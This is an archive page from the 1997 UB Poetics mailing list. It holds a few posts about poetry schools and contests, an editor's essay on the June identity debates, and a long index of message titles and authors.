There they are, the eight main schools of poetry I'm aware of (or remember). Any additions, corrections, comments?

Bob Grumman

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946. **Douglas Barbour**

Re: oh those contests, theyre everywhere

Sat 31 May 1997

Re: Stephen Vincent's Book Contests/AN IDEA & its comments on the growth of contests as funding has been cut. It certainly is true up here, although it has not happened so much with publishers as with organizations (The League of Canadian Poets) & journals: almost all of the well-known Canadian ones have contests in at least one area, some in many, as Malahat Review's long poem & novella contests. At least with magazines, they do include a year's subscription as automatically part of youre return on the fee (but the fee is much larger than a sub would be). Funding has gone down; contests have gone up.

==========

Douglas Barbour I see
Department of English only

University of Alberta through the touching of Edmonton Alberta
T6G 2E5 the light [redacted] FAX:[redacted] Luce Irigaray
H: [redacted]

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947. **henry g**

list of poetry school

Sat 31 May 1997

Interesting idea, Bob, but clearly you left out a few, such as:

the Jacqueline Spandrift School of Disinclined, Dissenting & Dissin' Coyote Poetry

The Providence School of Noisy Metaphysical Claptrap Anti-Non-Traditionalist Old White Guy Poetry

the milieu forming like a tepid pool around the aura of the legend of the soi-disant Tulsa-Wye-on-Hay-w/mustard matrix of Erica Blarnes and her proteges

- just thought this might help... - Henry Gould

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948. **Alan Jennifer Sondheim**
Re: A List of Poetry Schools
Sat 31 May 1997

On Sat, 31 May 1997, Bob Grumman wrote:

> *There they are, the eight main schools of poetry I'm aware of (or remember). Any additions, corrections, comments?*
>
> *Bob Grumman*

I'm never sure of the point of taxonomies (re: Foucault) , but in any case you've left out poetry which is ab nihilo performative - for example www.jodi.com, my own stuff, the "Perl Poetry" in Programming Perl, and even the material in al- t.adjective.noun.verb.verb.verb, which isn't per- formative, but references pro- tocol.

And as the Net grows, this will swamp.

Alan

> _____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ and Javascripted text/webpages -- Tel. [redacted], 432 Dean St., Brooklyn, NY 11217 IMAGES: http://www.cs.unca.edu/~davidson/pix/ Editor, BEING ON LINE

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949. **David R. Israel**
Re: oh those contests, theyre everywhere
Sat 31 May 1997

Douglas Barbour notes,

> *Re: Stephen Vincent's Book Contests/AN IDEA & its comments on the growth of contests as funding has been cut. It certainly is true up here, although it has not happened so much with publishers as with organizations (The League of Canadian Poets) & journals: almost all of the well-known Canadian ones have contests in at least one area, some in many,. . . Funding has gone down; contests have gone up.*

interesting. I wonder what proportion of the readership of these (contest-offer- ing) lit journals consists of those who're (at some level or other) "trying to break

into" the po-publishing game? I'd guess a rather large number. So this amounts to a sort of (optional) dues-pay for those [trying to] join the club?

Seem to be losing my interest in contests.

the more the contestants the fewer Countessas
the more the confessants the less one confesses?

Tom M.'s points were pretty good, with the slight caveat that those who're encourage to send in $25 (or whatever) presumably shouln't be misled into thinking their work will be considered if it won't. But at this point I don't see that such was (nec.) the case in either instance lately mentioned. Too, I don't know that Jorie G. shd. nec. be limited to the opinions of "readers". (When I was sending stuff to such contests, I felt more distrustful of anonymous readers than I did of the known judges, must say. I tended to feel, if the MS could but reach the eyes of the Judge, surely its merits . . . [etc.] . .)

best,
d.i.

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.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o....'
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.David.....Raphael.....Israel...'
<[redacted]>
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{telephonic.location.202/[redacted]}
| "...honk if you believe in geese" |
\\\/////\\\\\\\\\/\//&\\\/\/////////\\\\\\///..'

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950. henry gould
agony of procedure
Sat 31 May 1997

Seems like a kind of romantic idea that poets are on one side, struggling with their buddies to build a space for themselves, and the procedural accountants are on the other. There's a poetry of procedure, a poetry of exactitude, a poetry of rectitude and precision, a poetry of fair play and just dealing, a poetry of the equitable person as opposed to the righteous or self-righteous person - the equitable person who doesn't demand even his or her fair share, who gives way,

who turns the other cheek - not out of timidity or cowardice but in the knowledge that nothing under the moon is quite right - and to give way is to perfect the slight or gross injustice of relations with awareness & generosity - this is maybe the Tao of peace or whatever. There's a poetry of that - but it is based on a clear-eyed awareness of promises, covenants, fair dealing. There's a poetry in all this - maybe a romantic poetry - but only to the extent that all poetry is romantic. Or maybe English, I should say (what ho, not quite cricket, old chap - not quite fair play, eh?) - Eric Blarnes

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951. **Joseph Duemer**

Re: list of poetry school

Sat 31 May 1997

Henry, finally, thanks to you I have a place to hang my hat! viz. "The Providence School of Noisy Metaphysical Claptrap anti-Non-Traditionalist Old White Guy Poetry." What a great birthday present. Sincerely, Joe

--

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

June 1997

1004 messages · Sat 31 May 1997 – Mon 30 Jun 1997

Timothy McVeigh was sentenced to death on the thirteenth of June and the list mentions him once; Hong Kong was three weeks from changing hands and gets two. This is the largest month in the archive — one thousand and three letters — and the word it uses is identity, two hundred and forty-three times. The room spent June arguing whether who a poet is has any bearing on what the poem is worth, and spent the same June demonstrating, in three unrelated threads, that who is in the room governs absolutely everything that can be said in it.

The argument proper began when David Bromige, in Pat Pritchett's nice phrase, let drop the feather, inviting Pritchett to declare himself on multiculturalism. Pritchett obliged, and was honest about not having thought it through. He is a formalist by instinct, he said: *"the identity of the poet factors into my reading"* only secondarily, if at all, in relation to the text itself. Thirty-four letters followed and the room divided about where it always divides, which is on whether that position is a principle or a privilege.

Nine days earlier Tom Mandel had done something I have not seen anyone on this list do before. He had compared the graduate writing programmes to the Soviet Writers Union, and he now wished to withdraw it — *"I think I want to withdraw the remark"* — and his reason is the whole month in four words. Not that it was wrong. That the argument was too long for the medium, and that it was *"unfriendly to the forum"*, which contains a great many people who attend, or teach at, or came out of the institutions he was insulting. This is the man who in February had offered to punch Ed Dorn in the chops. He had worked out who was listening.

And on the tenth Jay Schwartz threatened to leave. His mail was as heavy as anyone's, he said, he enjoyed much of the public discussion, but he was nearly ready to unsubscribe over the volume of things that belonged in backchannel: he was not interested in *"light bondage humor involving people I've never met"*, and he was tired of private messages arriving on the whole list by accident. *"Please show more discretion with the send button"*. Then he signed off as himself, *"at his absolute snooty and snottiest"*, which is the most self-aware sentence of the month, and the room gave him thirty-two letters and a thread with his name on it.

Read his complaint again, though, because it is not about volume. It is about strangers. What Schwartz cannot bear is intimacy between people he does not know — the identity of the correspondents is the entire objection, in a month whose formal position was that identity is secondary to the text. Mandel withdrew because of who was present. Schwartz objected because of who was absent, namely him. And in between, in the month's cheerfullest thread, the room sat collecting American ways of saying somebody is a fool: *"two sandwiches short of a picnic"*, one brick shy of a chimney, an elevator that does not reach the penthouse. I have set the identity thread and the etiquette threads in the order June sent them, because the room could not agree that a poet's identity matters to a poem, while every letter it wrote that month was addressed to somebody in particular.

— Kristen M. Fabians

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447. charssmith — Re: syllable king and pin

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448. Bennett M. Sm [Dimpson — Re: hello poetics!
449. Tom Orange — syllable king and pin
450. Eliza McGrand- CVA Guest — the personal and the innovative (big yawn)
451. Pam Brown — ships
452. Eliza McGrand- CVA Guest — Re: ships
453. Eliza McGrand- CVA Guest — !!whoops! not a plug!!
454. Piombino/Simon — Re: Smithson's Poetics
455. Bob Grumman — Re: syllable king and pin
456. Jordan Davis — rebus alibi camphor brain
457. Henry Gould — Re: The Dynamics of Literary Change
458. Field of Roses — Re: ships
459. Fred Muratori — Happy Genius?
460. Kim Dawn — dot of the i/cross bar of t
461. David Bromige — ships
462. Judy Roitman — Re: syllable king and pin
463. David Israel — !!whoops! not a plug!! -Reply
464. Martin J Spinelli — EPC Sound Room
465. Joseph Lease — Re: jwcurry, sondheim, kdawn
466. Thomas Bell — abstraction/personal
467. charssmith — Re: Innovative poetics reading lists
468. henry g — lyric & individual
469. Eliza McGrand- CVA Guest — new quotes from old, new quotes from old...
470. Steven Marks — Re: !!whoops! not a plug!!

471. Judy Roitman — No RealAudio
472. David Israel — Re: !!whoops! not a plug!! / the EME
473. David Israel — Re: ships
474. Pam Brown — ships
475. John Tranter — Mocking the New Zealanders
476. John Tranter — Dumb jokes
477. John Tranter — Varieties of Marxists ...
478. Tenney Nathanson — hasty (haitch tee) em el
479. Alan Julu Sondheim — Re: hasty (haitch tee) em el
480. Stephen C. Ellwood — MY NAME IS EMILY VEY DUKE.
481. Joseph Duemer — Re: ships
482. Joseph Lease — Re: ships
483. David Israel — Re: ships / boats

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484. dbkk — Re: new quotes from old, new quotes from old...
485. Wystan Curnow — Re: One small, shameless derby tossed into the air: *I Won!*
486. Tom Orange — for "-eme" people
487. Wystan Curnow — Re: Jay Schwartz's complaint
488. Wystan Curnow — Re: Inappropriate postings
489. rsillima — Help
490. David Israel — the Yale game
491. Eliza McGrand- CVA Guest — Re: hasty (haitch tee) em el
492. Jordan Davis — MY NAME IS OY
493. robert drake — Re: Inappropriate postings
494. henry ghost — Re: MY NAME IS OY
495. George Thompson — Re: for "-eme" people
496. KENT JOHNSON — non-American true-believers
497. KENT JOHNSON — (Fwd) "Buddhistic poetry"
498. Douglas Barbour — Re: eyerhymes in Edmonton
499. Susan Wheeler — Thanks re Digest
500. Jordan Davis — Re: MY NAME IS OY
501. ghost — Re: MY NAME IS OY
502. Poetics List — Eigner Passages
503. Jordan Davis — Re: MY NAME IS OY
504. Tom Orange — for "-eme" people
505. Tom Orange — running back to ultravox
506. Pritchett,Pat — Re: This Is A Plug
507. David Israel — Re: MY NAME IS OY / a sidebranch
508. John E. Matthias — ND Review
509. George Bowering — Re: Inappropriate postings
510. George Bowering — Re: ms. non-provocateur
511. George Bowering — Re: syllable. king and pin of versification.
512. George Bowering — Re: jwcurry, sondheim, kdawn
513. George Bowering — Re: jwcurry, sondheim, kdawn,& Spicer
514. N. Dhillon — Journey - Manuscript
515. Bob Grumman — Re: syllable. king and pin of versification.
516. Pritchett,Pat — Re: News from Naropa
517. David Bromige — Warning label: do not open if easily offended by silliness
518. Jay Schwartz — Re: Warning label: do not open if easily offended by silliness
519. Wystan Curnow — Re: hello poetics!
520. Stephen C. Ellwood — Re: MY NAME IS OY
521. David Bromige — Rated G
522. Wystan Curnow — Re: hello poetics!
523. ghould — Re: Warning label: do not open if easily offended by silliness
524. Charles Alexander — Re: smithsons poetics, artists/poets

525. Charles Alexander — Re: cummings & the syllable break & phonetic alphabet
526. Charles Alexander — tenney's html question
527. ghould — Re: Rated G
528. David R. Israel — DB's Koan
529. Joel Felix — electronic book review's "electropoetics"
530. David Bromige — PG-13 (some naked silliness, but not gratuitous)
531. Wystan Curnow — Re: the Yale game
532. Stephen Cope — Re: Address query
533. Gwyn McVay — Re: DB's Koan
534. Wystan Curnow — Re: Second SVP colloquium - update
535. Piombino/Simon — Re: Hello poetics

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536. Aldon L. Nielsen — Re: own horn, tooting of same
537. Aldon L. Nielsen — Re: That was no camera, that was my life
538. David R. Israel — Re: (Fwd) "Buddhistic poetry"
539. Marjorie Perloff — Re: Visual Poetics Conference at Edmonton
540. Bennett M. Sm [Dimpson — Re: hello poetics!
541. Rachel Loden — Re: Inappropriate postings
542. Bob Grumman — Cummings, Syllables, Nemes....
543. Jordan Davis — The Overlap
544. Alan+++Sondheim — <>
545. Aldon L. Nielsen — Re: reappropriating the inappropriate
546. Daniel Tessitore — Re: Rated G
547. Ira Lightman — Text radicalism and incest radicalism
548. Pritchett,Pat — Re: American Derision
549. Charles Alexander — book market
550. Pritchett,Pat — Re: Rated G
551. Stephen C. Ellwood — MY NAME IS EMILY VEY DESPERATE
552. Mark Wallace — abstractly personal
553. George Bowering — Re: Warning label: do not open if easily offended by silliness
554. George Bowering — Re: Rated G
555. George Bowering — Re: DB's Koan
556. Stephen Cope — Re: TAXING GRAD STUDENTS (fwd)
557. Pam Brown — x

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558. Mark Weiss — summer reading
559. Maria Damon — Re: jwcurry, sondheim, kdawn
560. Gwyn McVay — Re: x
561. Gwyn McVay — Re: x
562. Steve Shoemaker — back in the addle
563. Daniel Tessitore — Re: x
564. Daniel Tessitore — Re: x
565. Daniel Tessitore — (no subject)
566. dbkk — Re: Text radicalism and incest radicalism
567. Judy Roitman — query
568. Karen and Trevor — Re: American Derision
569. Christina Fairbank Chirot — Re: eyerhymes in Edmonton
570. Piombino/Simon — Re: o
571. Daniel Zimmerman — Re: Cummings, Syllables, Nemes....
572. David Bromige — abstract personal
573. Michael Magee — Re: abstract personal
574. Stephen C. Ellwood — Re: abstract personal
575. Henry Gould — Re: abstract personal
576. Henry Gould — Re: abstract personal

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577. Steven Marks — Re: Cummings, Syllables, Nemes....
578. David R. Israel — The God of Small Things
579. KIM DAWN BAKER — rape
580. Dean Taciuch — Re: abstractly personal
581. Mark Weiss — Re: abstract personal
582. Mark Weiss — (no subject)
583. Alan+++Sondheim — Subject: Ex-Mig
584. Bennett M. Sm [Dimpson — What Sauna?
585. Bennett M. Sm [Dimpson — Re: smithsons poetics, artists/poets
586. Peter Ganick — announce POTEPOETZINETHREE ----
587. David R. Israel — The God of Small Things
588. David R. Israel — oops, never mind
589. Bob Grumman — Nemes, Names, Lang Po, Viz Po
590. John Tranter — Abstract Personal HallmarkCards
591. Maria Damon — Re: Spicer
592. Susan Wheeler — Abstract etc.
593. Maria Damon — Re: jwcurry, sondheim, kdawn
594. p.c. jaeger — eyerhymes at Edmonton
595. Aldon L. Nielsen — Re: _My Life in the Bush of Ghosts_
596. Daniel Tessitore — Re: abstract personal
597. LYNES- KATHERINE — Re: abstract personal
598. David R. Israel — representation
599. Dean Taciuch — Nemes, Names, Lang Po, Viz Po
600. David Bromige — POETPOETZINE; Rachel Loden's e-ddress
601. David Bromige — oops
602. lee ann brown — Re: POETICS Digest - 18 Jun 1997 to 20 Jun 1997
603. Janet S. Gray — CFP: Oswald/Ruby photo
604. Bob Grumman — Re: Nemes, Names, Lang Po, Viz Po
605. Judy Roitman — Re: abstract personal
606. David R. Israel — haiku-gram
607. groberts — word-breaks
608. Dean Taciuch — Re: Nemes, Names, Lang Po, Viz Po
609. Bob Grumman — Re: Nemes, Names, Lang Po, Viz Po
610. main — Re: representation
611. Jordan Davis — representation and separability
612. Dean Taciuch — Re: representation
613. Piombino/Simon — Re: representation
614. Dean Taciuch — Re: representation, separability, self

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615. Jay Schwartz — Re: announce POTEPOETZINETHREE ----
616. Michel Delville — Hughes's theory of decline / Baudrillard's art conspiracy
617. Michel Delville — query / Stein
618. rsillima — Paint, he sd, or move objects around, ride a horse, box, etc.
619. David R. Israel — "the scholarly monograph in crisis"
620. GrahamD — Re: representation
621. Daniel Tessitore — Re: bio sphere
622. John Kinsella — What's in a name? Salt 10 poetry journal
623. jarnot — brathwaite
624. John Kinsella — Salt poetry journal sub details
625. henry g — Re: representation
626. henry g — Re: representation
627. Thomas Bell — fluent narratolgy
628. Pam Brown — address please
629. Hank Lazer — Re: XCP

630. Bob Grumman — Re: representation
631. Steven Marks — Re: haiku-gram
632. George Bowering — Re: abstract personal
633. Stephen C. Ellwood — Re: abstract personal
634. Pam Brown — Re: address please
635. Wystan Curnow — Re: address please
636. main — address: karen kelley
637. Alan * Sondheim — new work (fwd)
638. Pam Brown — oops
639. Pete Landers — Re: Happy Genius?

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640. David R. Israel — Re: haiku-gram
641. David R. Israel — Buddhistic poetics . . .
642. David R. Israel — Buddhistic poetics . . .
643. David R. Israel — (Fwd) Buddhistic poetics / take two (or ...)
644. David R. Israel — (Fwd) Buddhistic poetics / take two (or ...)
645. Steven Marks — Re: haiku-gram
646. lee ann brown — Re: Donuts/Livermush cont'd
647. Daniel Zimmerman — Re: Cummings, Syllables, Nemes....
648. KENT JOHNSON — post mystique
649. David R. Israel — Re: haiku-gram
650. LYNES- KATHERINE — Re: y'all join in
651. David R. Israel — also Re: haiku-gram
652. Hank Lazer — Re: XCP
653. F.A. Templeton — ad Fiona Templeton
654. Burt Kimmelman — poetry new york #9
655. Jordan Davis — Tournament at the Electronic Country Club
656. David R. Israel — & also Re: haiku-gram
657. Steven Marks — Re: Tournament at the Electronic Country Club
658. Wendy Battin — info on Bryars?
659. Herb Levy — Attachments
660. Daniel Tessitore — Re: identity of the poet
661. Aldon L. Nielsen — Re: retoot
662. Daniel Zimmerman — attachments
663. Gwyn McVay — Re: attachments
664. aerialedge — New Berrigan, Davis,Templeton &&& @ Bridge Street
665. michael corbin — Re: Tournament at the Electronic Country Club
666. Herb Levy — Re: info on Bryars?
667. Keith Tuma — Re: info on Bryars?
668. Joseph Zitt — Re: info on Bryars?
669. Eliza McGrand- CVA Guest — long article up for criticism if yr up for it!
670. Eliza McGrand- CVA Guest — WHOOPS -- format-corrected copy
671. Eliza McGrand- CVA Guest — henry g's [always] provocative response!
672. DS — Re: & also Re: haiku-gram
673. KIM DAWN BAKER — the abstract personal
674. David Israel — Re: info on Bryars?
675. Maria Damon — Re: _My Life in the Bush of Ghosts_
676. David Israel — Re: Attachments
677. Charles Alexander — help find

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678. Kali Tal — Re: long article up for criticism if yr up for it!
679. Alan * Sondheim — Re: long article up for criticism if yr up for it!
680. Pritchett,Pat — Re: abstractly personal
681. Susan Wheeler — Brathwaite film/video
682. Piombino/Simon — Re: abstractly personal

683. David Bromige — yesterdays mail
684. Kali Tal — Re: long article up for criticism if yr up for it!
685. Pritchett,Pat — Re: Paint, he sd, or move objects around
686. Wendy Battin — Re: info on Bryars?
687. Joe Amato/Kass Fleisher — Re: long article up for criticism if yr up for it!
688. L. MacMahon and T.R. Healy — more haiku-gram
689. henry g — Re: long article up for criticism if yr up for it!
690. Hoa Nguyen — Re: Buddhism and racism
691. Dan Machlin — Kinsella/Jaeggi Reading Cancelled
692. Rachel Kubie — Syllables & Scribes
693. Judy Roitman — Re: Buddhism and racism
694. groberts — Wyatt and not another?
695. Hoa Nguyen — Re: Buddhism and Racism
696. Eliza McGrand- CVA Guest — Re: long article up for criticism if yr up for it!
697. Jay Schwartz — Re: long article up for criticism if yr up for it!
698. Robert Archambeau — In Defense of Simic
699. Thomas Bell — Re: long article up for criticism if yr up for it!
700. john chris jones — parts of the cyberepic
701. Hugh Steinberg — Re: more haiku-gram
702. David Israel — Re: Buddhism and racism
703. David Israel — Re: more haiku-gram
704. George Bowering — Re: long article up for criticism if yr up for it!
705. David Israel — further re: Buddhism and racism
706. David Israel — further re: Buddhism and racism, p.s.
707. Steven Marks — Re: more haiku-gram
708. Aldon L. Nielsen — Re: Is the self-evident evidence of a self?
709. Wystan Curnow — Re: long article up for criticism if yr up for it!
710. Eliza McGrand- CVA Guest — no trauma but puzzlement
711. Thomas Bell — Re: no trauma but puzzlement

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712. David Israel — Re: long article up for criticism if yr up for it!
713. Tom Orange — simic, theory vs. multicult
714. Kali Tal — Re: long article up for criticism if yr up for it!
715. George Bowering — Re: grad school and the writers union
716. KENT JOHNSON — Orientalism: reply to Dean Brink
717. Stephen C. Ellwood — Personal Identity as text vs Stands On Its Own
718. Stephen C. Ellwood — Re: Buddhism and racism
719. Dean A. Brink — Re: Buddhism and Racism
720. Mark Weiss — Re: grad school and the writers union
721. David Israel — Re: Buddhism and Racism
722. Maria Damon — Re: long article up for criticism if yr up for it!
723. David R. Israel — Re: more haiku-gram
724. David R. Israel — Re: Personal Identity as text vs Stands On Its Own
725. Robert Archambeau — Simic, Insularity, Theory
726. KENT JOHNSON — Light from Another Country
727. Joel Kuszai — I keep getting reject (fwd)
728. Henry Gould — address query
729. Pritchett,Pat — Re: Killian at Naropa
730. Hoa Nguyen — Re: long article up for criticism if yr up for it!
731. Joel Kuszai — WARNING: personal info
732. Thomas Bell — abstract
733. Thomas Bell — personal
734. Joe Amato/Kass Fleisher — Re: long article up for criticism if yr up for it!
735. Peter Landers — Re: abstractly personal
736. Hoa Nguyen — Re: Buddhism and Racism

737. Aldon L. Nielsen — Re: " . . . "
738. Bobbie West — more Vietnam
739. Mark Weiss — Personal Identity as Text vs Stands on its Own
740. David Bromige — identity of the poet
741. Stephen C. Ellwood — Re: long article up for criticism if yr up for it!
742. Carrie Etter — Sharon Doubiago
743. Jonathan Brannen — Amos Tutuola
744. Hoa Nguyen — A Buddhist's Credentials
745. Joe Amato/Kass Fleisher — Re: identity of the poet
746. David Bromige — pearl poet, french theory of apr editors, kevin & gloria, class
747. Kali Tal — Re: identity of the poet
748. David Israel — the Green Knight / & Kieslowski
749. Mark Weiss — Theory
750. Mark Weiss — Re: the Green Knight / & Kieslowski
751. David Bromige — hey! Other mind here, please take the trouble to read it
752. Mark Weiss — Re: identity of the poet
753. Eliza McGrand- CVA Guest — Re: long article up for criticism if yr up for it!
754. Thomas Bell — Re: Killian at Naropa
755. Aldon L. Nielsen — Re: anecdotage
756. Stephen C. Ellwood — Re: hey! Other mind here, please take the trouble to read it
757. REBECCA WELDON — Buddhist Poetry
758. David Israel — (no subject)
759. Hugh Steinberg — Re: Komunyakaa
760. George Thompson — Re: Orientalism: reply to Dean Brink
761. David Israel — Re: more haiku-gram

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762. Dean A. Brink — Re: Buddhism and Racism
763. Aldon L. Nielsen — Re: "What the hell are you guys talking about?"
764. Stephen C. Ellwood — Re: Light from Another Country
765. Charles Alexander — gleaning smart
766. George Bowering — Re: grad school and the writers union
767. George Bowering — Re: Personal Identity as text vs Stands On Its Own
768. Kali Tal — Re: hey! Other mind here, please take the trouble to read it
769. REBECCA WELDON — Oriental, Orientalism, Orientalist
770. KENT JOHNSON — (Fwd) Eliot Weinberger
771. Henry — Re: identity of the poet
772. Susan Wheeler — Re: POETICS Digest - 24 Jun 1997 to 25 Jun 1997
773. Robert Archambeau — On not Whipping Spivak
774. Joseph Zitt — Re: Letter from Jackson Mac Low
775. Gwyn McVay — Re: Orientalism: reply to Dean Brink
776. James Finnegan — Re: more Vietnam
777. Rebecca Reynolds — Re: long article up for criticism if yr up for it!
778. Charles Bernstein — Letter from Jackson Mac Low
779. Dean A. Brink — Re: Orientalism: reply to Dean Brink
780. Mark Weiss — Re: gleaning smart
781. Joe Amato/Kass Fleisher — heat wave reception...
782. Alan * Sondheim — Kill -9 0
783. Dean A. Brink — Re: post mystique
784. Mark Weiss — Re: hey! Other mind here, please take the trouble to read it
785. henry — Re: identity of the poet
786. Mark Weiss — Buddhism and Racism
787. Ian Wilson — Re[2]: POETICS Digest - 24 Jun 1997 to 25 Jun 1997
788. Aldon L. Nielsen — Re: Orange Popsicle
789. Kali Tal — Re: hey! Other mind here, please take the trouble to read it
790. David Israel — "unreality"

791. Kali Tal — Re: Orange Popsicle
792. Pritchett,Pat — Re: identity/poetics
793. Bob Grotjohn — Re: Buddhism and Racism
794. Judy Roitman — Re: Buddhism and Racism
795. KENT JOHNSON — identity/poetics
796. charssmith — Re: China Camp
797. KENT JOHNSON — a next to last word
798. Judy Roitman — Re: Buddhism and Racism
799. David Israel — Re: Orange Popsicle
800. David Bromige — Idenity of the poet/Hey! other mind here
801. Stephen C. Ellwood — group action
802. David Israel — (no subject)
803. David Bromige — china beach
804. Pritchett,Pat — Re: china beach
805. Mark Wallace — KOJA magazine?
806. Mark Weiss — Re: Buddhism and Racism
807. Aldon L. Nielsen — Re: Hoping to see Dodie and Patrick and Kevin tonight
808. Pritchett,Pat — Re: Hoping to see Dodie and Patrick and
809. Stephen C. Ellwood — Re: long article up for criticism if yr up for it!
810. Mark Weiss — Re: Idenity of the poet/Hey! other mind here
811. Mark Weiss — Re: Orange Popsicle
812. Poetics List — (Fwd) !*EMERGENCY RESPONSE NEEDED FOR MUMIA NOW!! (fwd)
813. Kali Tal — Re: identity/poetics
814. David Bromige — irony & self-abuse
815. David Israel — Re: Idenity of the poet / Bromige's bravura
816. Mark Weiss — Re: identity/poetics
817. DS — Re: irony & self-abuse
818. David Israel — Re: long article / rustle of language
819. David Bromige — not "as if," but "What if"
820. robert drake — Re: KOJA magazine?
821. Stephen C. Ellwood — Re: irony & self-abuse
822. Kali Tal — Re: identity/poetics

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823. Tenney Nathanson — acrimony, or, being wishy-washy at Wimbleton
824. Mark Weiss — Re: identity/poetics
825. Alan * Sondheim — Dead as Can Be
826. Dean A. Brink — Re: a next to last word
827. Kali Tal — Re: identity/poetics
828. John Cayley — work(s) <vacation> text(s)
829. Peter Ganick — body-as-text discussion
830. David Israel — Re: (Fwd) Eliot Weinberger / orientalism?
831. David Israel — p.s, re: (Fwd) Eliot Weinberger / orientalism?
832. Susan Wheeler — Re: POETICS Digest - 25 Jun 1997 to 26 Jun 1997
833. hg — Re: Idenity of the poet/Hey! other mind here
834. hg — Re: identity of the poet
835. hg — Re: long article up for criticism if yr up for it!
836. Eliza McGrand- CVA Guest — Re: heat wave reception...
837. Tom Mandel — individual as syndrome
838. hg — Re: individual as syndrome
839. Tod Thilleman/Meredith Brosnan — Re: Poetry New York #9
840. Mark Prejsnar — Re: POETICS Digest - 24 Jun 1997 to 25 Jun 1997
841. Judy Roitman — Re: Buddhism and Racism
842. Steve Shoemaker — Re: body-as-text discussion
843. Alan * Sondheim — Re: body-as-text discussion
844. michael corbin — Re: individual as syndrome

845. groberts — cfp: Early T.S. Eliot
846. Daniel Tessitore — Re: identity of the poet
847. Daniel Tessitore — Re: masturbation and appropriate texts to be studied
848. David Bromige — individual yuck
849. Pritchett,Pat — Re: More Naropa Readings
850. Karlien van den Beukel — Poems, identities and anthologies.
851. Dave Zauhar — reading theory and not reading.
852. Henry Gould — Re: Poems, identities and anthologies.
853. Kali Tal — Re: Poems, identities and anthologies.
854. Mark Weiss — Re: Poems, identities and anthologies.
855. Aldon L. Nielsen — Re: In the Uneven Footnotes of Hung Chow
856. Stephen Scobie — Re: Idenity of the poet/Hey! other mind here
857. Stephen Scobie — Re: More Naropa Readings
858. Thomas Bell — Re: body-as-text discussion
859. Karlien van den Beukel — Re: Poems, identities and anthologies.
860. Maria Damon — Re: Idenity of the poet/Hey! other mind here
861. Maria Damon — the single moon
862. Eliza McGrand- CVA Guest — masturbation and appropriate texts to be studied
863. Maria Damon — Re: weinberger
864. Maria Damon — Re: More Naropa Readings
865. Rebecca Weldon — Identity
866. armand schwerner — Western Budhism, Dean Brink, Kent Johnson and George Thompson
867. George Thompson — Re: individual yuck
868. Daniel Zimmerman — Re: the single moon
869. Stephen Cope — Personal info. - New Address

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870. Peter Ganick — Re: body-as-text discussion
871. Alan * Sondheim — Re: body-as-text discussion
872. Alan * Sondheim — Julu Makes Suzi (this works! I've done it! Alan)
873. Mark Weiss — Re: masturbation and appropriate texts to be studied
874. Jordan Davis — Re: identity/poetics
875. Jordan Davis — ladies and gentlemen please
876. David Israel — Re: body-as-text discussion / cyberlife
877. Maria Damon — Re: the single moon
878. Maria Damon — Re: identity/poetics
879. Maria Damon — Re: masturbation and appropriate texts to be studied
880. DS — Re: identity/poetics
881. David Israel — Identity / Snyder's evocations
882. Joe Amato/Kass Fleisher — Re: Identity
883. Eliza McGrand- CVA Guest — Re: Salt 11
884. Eliza McGrand- CVA Guest — HOW EMBARRASSING!!!!! please ignore last message
885. Alan * Sondheim — Re: Identity
886. Thomas Bell — Re: body-as-text discussion
887. Lisa Samuels — name that Donne
888. Kali Tal — Re: identity/poetics
889. Tenney Nathanson — nomail in NY
890. John Kinsella — Salt 11
891. John Kinsella — P.S.
892. Steve Shoemaker — buddha love
893. Peter Ganick — Re: body-as-text discussion
894. Pritchett,Pat — Re: identities
895. henry g — Re: identities
896. Mark Weiss — Re: identity/poetics
897. Mark Weiss — Re: identity/poetics
898. John Kinsella — Salt submissions

899. Karlien van den Beukel — Re: Poems/Identities
900. David Israel — Re: name that Donne
901. Kali Tal — Re: identity/poetics
902. Eliza McGrand- CVA Guest — Re: name that Donne
903. Kali Tal — Re: Poems/Identities
904. hg — identity
905. KIM DAWN BAKER — stone /d/ baby stone head like a (, (fwd)
906. David Erben (Art) — Re: identity/poetics

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907. Mark Weiss — Re: identity/poetics
908. Tom Orange — couplet-gram
909. Rebecca Weldon — common knowlege
910. Hugh Steinberg — epithalamium
911. DS — Re: identity/poetics
912. KIM DAWN BAKER — Re: POETICS Digest - 27 Jun 1997 to 28 Jun 1997
913. David Israel — (no subject)
914. David Israel — Re: common knowlege / wash yer ears / sinology
915. David Israel — Re: buddha love
916. Matt Kirschenbaum — well donne
917. GrahamD — Re: epithalamium
918. groberts — meat well donne
919. Thomas Bell — Re: buddha love
920. Thomas Bell — Re: body-as-text discussion
921. Lisa Samuels — Re: meat well donne
922. David Israel — Re: meat well donne
923. Steve Shoemaker — Re: buddha love
924. David Israel — Re: buddha love
925. Mark Weiss — Re: meat well donne
926. David Israel — Re: meat well donne
927. Mark Weiss — Re: meat well donne
928. David Israel — Re: meat well donne / Pillow Book
929. David Israel — Re: identity/poetics
930. Aldon L. Nielsen — industial-strength hoaxes at 'cine16' this week (fwd)
931. Mark Weiss — Re: identity/poetics
932. Mark Weiss — continuation of previous post
933. Mark Weiss — American Language
934. David Israel — Re: continuation of previous post
935. David Bromige — poet/identity/re :David Erben's post
936. David Bromige — Donne couplet
937. Mark Weiss — Re: american language
938. David Bromige — american language
939. Alan * Sondheim — Ekstasy
940. Lisa Samuels — Re: american language
941. Kali Tal — Re: identity/poetics
942. George Bowering — Re: identity/poetics
943. George Bowering — Re: Identity of the poet Bromige
944. George Bowering — Re: identity/poetics
945. Mark Weiss — Re: identity/poetics
946. George Bowering — Re: identity/poetics
947. George Bowering — Re: Poems/Identities
948. Kali Tal — Re: Poems/Identities
949. Eliza McGrand- CVA Guest — Re: american language
950. Mark Weiss — Re: american language
951. Eliza McGrand- CVA Guest — Re: american language
952. Mark Weiss — Re: american language

953. robert drake — Re: american language
954. Steve Shoemaker — Re: american language
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962. David R. Israel — Re: american language / Pooh
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965. Lisa Samuels — Re: american language / Pooh
966. LYNES- KATHERINE — Re: american language
967. Joe Amato — outta town...
968. Daniel Bouchard — Re: identity/poetics
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981. KIM DAWN BAKER — Output of your job "kdawn" (fwd)
982. Eliza McGrand- CVA Guest — Re: american language
983. Kali Tal — Re: identity/poetics
984. Rebecca Reynolds — Re: epithalamium
